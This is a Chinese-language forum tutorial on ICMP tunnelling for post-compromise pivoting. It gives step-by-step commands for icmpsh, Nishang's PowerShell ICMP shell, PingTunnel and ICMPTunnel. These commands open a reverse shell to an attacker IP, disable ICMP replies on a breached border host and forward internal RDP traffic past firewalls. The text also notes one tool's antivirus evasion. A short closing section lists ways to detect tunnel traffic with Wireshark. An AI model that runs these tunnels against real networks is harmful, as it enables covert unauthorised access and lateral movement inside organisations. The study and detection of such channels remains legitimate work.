深入探讨内网隧道技术:ICMP隧道详解

ICMP隧道简介

ICMP是一个比较特殊的协议,在一般的通信协议里如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要,最常见的ICMP消息为ping命令的回复,攻击者可以利用命令行得到比回复更多的ICMP请求,在通常情况下,每个ping命令都有相对应的回复与请求。

在一些内部网络环境中,大部分系统都位于防火墙和公司代理之后以便控制入站和出站Internet流量,防火墙可以阻止反向并绑定TCP连接,但是大多数情况下允许ICMP流量,因此,可以将此协议用作隐蔽通道,以便获取shell并在目标主机上远程执行命令。

ICMP隧道使用

常用的ICMP隧道工具有icmpsh、PingTunnel、icmptunnel、powershell icmp等。

icmpsh

工具安装

icmpsh工具使用简单,便于”携带”(跨平台),运行时不需要管理员权限,我们首先通过Git clone命令下载icmpsh:

<code>git clone https://github.com/inquisb/icmpsh.git</code>
图片[1]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

之后我们需要安装python的impacket类库,以便于对TCP、UDP、ICMP、IGMP、ARP、IPv4、IPv6、SMB、MSRPC、NTLM、Kerberos、WMI、LDAP等协议进行访问:

<code>apt-get install python-impacket</code>
图片[2]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

工具使用

因为icmpsh工具要代替系统本身的ping命令的应答程序,所以需要输入以下命令来关闭本地系统的ICMP应答(如果需要回复系统应答,则设置为0即可),否则shell的运行会不稳定(表现为一直刷屏,无法进行交互输入):

<code>sysctl -w net.ipv4.icmp_echo_ignore_all=1</code>

之后我们在终端执行以下命令来查看icmpsh的使用方法:

<code>python icmpsh_m.py -h</code>

之后根据脚本使用方法在终端执行以下命令:

<code>python icmpsh_m.py 192.168.188.129 192.168.188.128</code>

之后在边界Web主机(192.168.188.128)上执行以下命令:

<code>icmpsh.exe -t 192.168.188.129(AttackIP)</code>

之后在攻击者主机上可以看到目标主机的shell。

Powershell版本

Nishang框架

Nishang框架包含了一个PowerShell模块,可以与icmpsh的python脚本结合使用,以获得ICMP上的shell。

Powershell使用

在攻击主机上执行以下命令将等待任何传入的ICMP数据包:

<code>python icmpsh_m.py 192.168.188.129 192.168.188.128</code>
图片[3]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

之后在边界Web主机上通过powershell执行以下命令:

<code>Import-Module .\Invoke-PowerShellIcmp.ps1 Invoke-PowerShellIcmp 192.168.188.129</code>
图片[4]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

之后攻击主机汇总接受到连接。

图片[5]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

PingTunnel(C)

工具介绍

PingTunnel是一款常用的ICMP隧道工具,可以跨平台使用,为了避免隧道被滥用,可以为隧道设置密码。

工具安装

a.安装libpcap的依赖环境

<code>apt-get install byacc apt-get install flex bison</code>

b、安装libpcap依赖库

<code>wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar -xzvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure make && make install</code>

c、安装PingTunnel

<code>wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz tar -xzvf PingTunnel-0.72.tar.gz cd PingTunnel make && make install</code>

工具使用

网络环境:

攻击主机(VPS):192.168.188.129

攻击主机(Windows 10):192.168.188.1

内网边界主机(Kali linux):192.168.188.134、192.168.23.131

内网目标主机(Windows 7):192.168.23.128

网络拓扑:

网络关系:Web服务器模拟企业对外提供Web服务的机器,该机器可以通内网,同时向公网提供服务,内网存在一台Windows 7机器,Web服务器可以与该机器连接。

测试目标:假定现在我们获取到了边界Web服务器的权限,之后想用ICMP搭建通往内网的隧道,连接内网Windows Server 2008 R2的3389端口

测试步骤:

在内网Web边界服务器执行以下指令:

<code>ptunnel -x al1ex // -x 指定连接密码</code>

之后在攻击主机上执行以下命令:

指令格式:

<code>ptunnel -p 边界Web主机IP -lp 1080 -da Web服务器内网的其他主机IP -dp 3389 -x al1ex</code>

指令示例:

<code>./ptunnel -p 192.168.188.134 -lp 1080 -da 192.168.23.128 -dp 3389 -x al1ex</code>

指令解释:上述指令的含义是指在访问攻击者VPS(192.168.188.129)的1080端口时,会吧数据库服务器192.168.23.12的3389端口的数据封装在ICMP隧道里,以Web服务器182.168.188.134为ICMP隧道跳板进行传送

PingTunnel(Go)

工具介绍

该工具是PingTunnel Go语言版本,同样它也是一款ICMP隧道工具,可以跨平台使用,常用的网络场景如下所示。

工具使用

首先下载PingTunnel对应的安装包:

https://github.com/esrrhs/pingtunnel/releases

之后禁用边界主机的icmp回复:

<code>echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all</code>

之后在边界服务器端启动服务端:

<code>./pingtunnel -type server</code>

之后在攻击主机上启动客户端,客户端支持以下格式:

转发Sock5:

<code>pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1</code>

转发TCP:

<code>pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1</code>

转发UDP:

<code>pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455</code>

Icmptunnel

工具介绍

ICMPTunnel是一个使用python编写的简易脚本,该工具主要用于创建一个反向的ICMP隧道用于转发TCP通信数据包,这在内网中有时候也会很有帮助,且该工具具有一定的免杀效果。

工具使用

首先去Github下载项目:

https://github.com/T3rry7f/ICMPTunnel

之后在拿到权限的边界服务器端禁用icmp回复:

<code>echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all</code>
图片[6]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

之后执行IcmpTunnel.py脚本:

<code>python IcmpTunnel_S.py</code>

之后再攻击主机执行以下命令:

<code>python IcmpTunnel_C.py {serverIP} {needConnectIP} {needConnectPort}</code>

之后在边界Server端返回一个port并在攻击主机端使用返回的port进行远程连接,此时的ip为边界服务器的ip地址:

<code>rdesktop 192.168.188.131:44171</code>
图片[7]-深入探讨内网隧道技术:ICMP隧道详解-山海云端论坛

隧道防御

使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过Wireshark进行ICMP数据包分析,以检测恶意ICMP流量,具体方法如下:

  • 检测同一来源的ICMP数据包的数量,一个正常的ping命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包
  • 注意哪些Payload大于64bit的ICMP数据包
  • 寻找响应数据包中的Payload与请求数据包中的Payload不一致的ICMP数据包。
  • 检查ICMP数据包的协议标签,例如:icmptunnel会在所有的ICMP Payload前面添加”TUNL”标记来标识隧道——这就是特征。
© 版权声明
THE END
喜欢就支持一下吧
点赞7 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容